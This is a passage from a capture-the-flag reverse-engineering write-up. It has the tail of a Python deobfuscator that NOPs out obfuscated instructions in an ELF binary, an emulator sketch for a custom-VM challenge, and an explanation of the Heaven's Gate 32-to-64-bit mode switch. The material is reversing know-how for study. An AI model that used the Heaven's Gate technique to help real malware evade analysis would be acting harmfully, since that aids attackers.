            elif '[rip -' in inst.op_str:
                for i in range(addr, addr + sz):
                    modified[i] = 0x90
                if code[addr - 0x1] == 0x9c:
                    modified[addr - 0x1] = 0x90
                if code[addr + sz] == 0x9d:
                    modified[addr + sz] = 0x90
            code = bytes(modified)
        addr += sz


if __name__ == '__main__':
    if len(sys.argv) != 3:
        print(f'{sys.argv[0]} obfuscated main_offset')
        exit(1)
    elf = ELF(sys.argv[1])
    main = int(sys.argv[2], 16)
    text_off = elf.get_section_by_name('.text').header.sh_offset
    text_end = elf.get_section_by_name('.text').header.sh_offset + elf.get_section_by_name('.text').header.sh_size
    sz = text_off + text_end
    with open(elf.path, 'rb') as f:
        full = f.read()
    data = full[:sz]
    modified = bytearray(data)
    deobufscate(elf, data, text_off, text_end, main, modified)
    with open(f'{elf.path}_deobfuscate', 'wb') as f:
        f.write(bytes(modified) + full[sz:])

Rev/Heart Protector

This challenge features virtual machine implementation in the program which has custom instructions created by the author to try and make reversing harder. When dealing with a VM based challenge, it is important to write your own emulator to understand what the VM is d doing. For example

while true:
    opcode = chunk[PC]

    if DEBUG:
        print(f'PC @ 0x{PC:x}')
        print(f'[OP={opcode}]')
    
    if opcode == 0:
        # store
        arg1 = chunk[PC+1]
        memory[MP] = regs[arg1]
        MP += 1  # memory pointer
        print(f'store R{arg1}')
        PC += 2  # increment IP

Rev/Gateway

Looking at the main function, we can see its implementing the Heaven's Gate technique whereby its switching execution context from 32 bit to 64 bit during run time. Before the ret far syscall is called, we can see the value 0x33 and sub_80499b9 is pushed onto the stack. This is important because the retfar instruction will pop the top 2 items off the stack. The first value sub_80499b9 is the function that will be executed in 64 bit mode and 0x33 is the value that will go into the CS register. The value in the CS register will determine the execution mode of the CPU

  • 0x33 for 64 bit

  • 0x23 for 32 bit

Binary ninja has a helpful feature which allows you to disassemble functions in another architecture which can help in a polygot binary implementing Heaven's Gate.

PreviousFSIIECTF 2024NextTsukuCTF 2025 - Easy Kernel

Last updated 1 month ago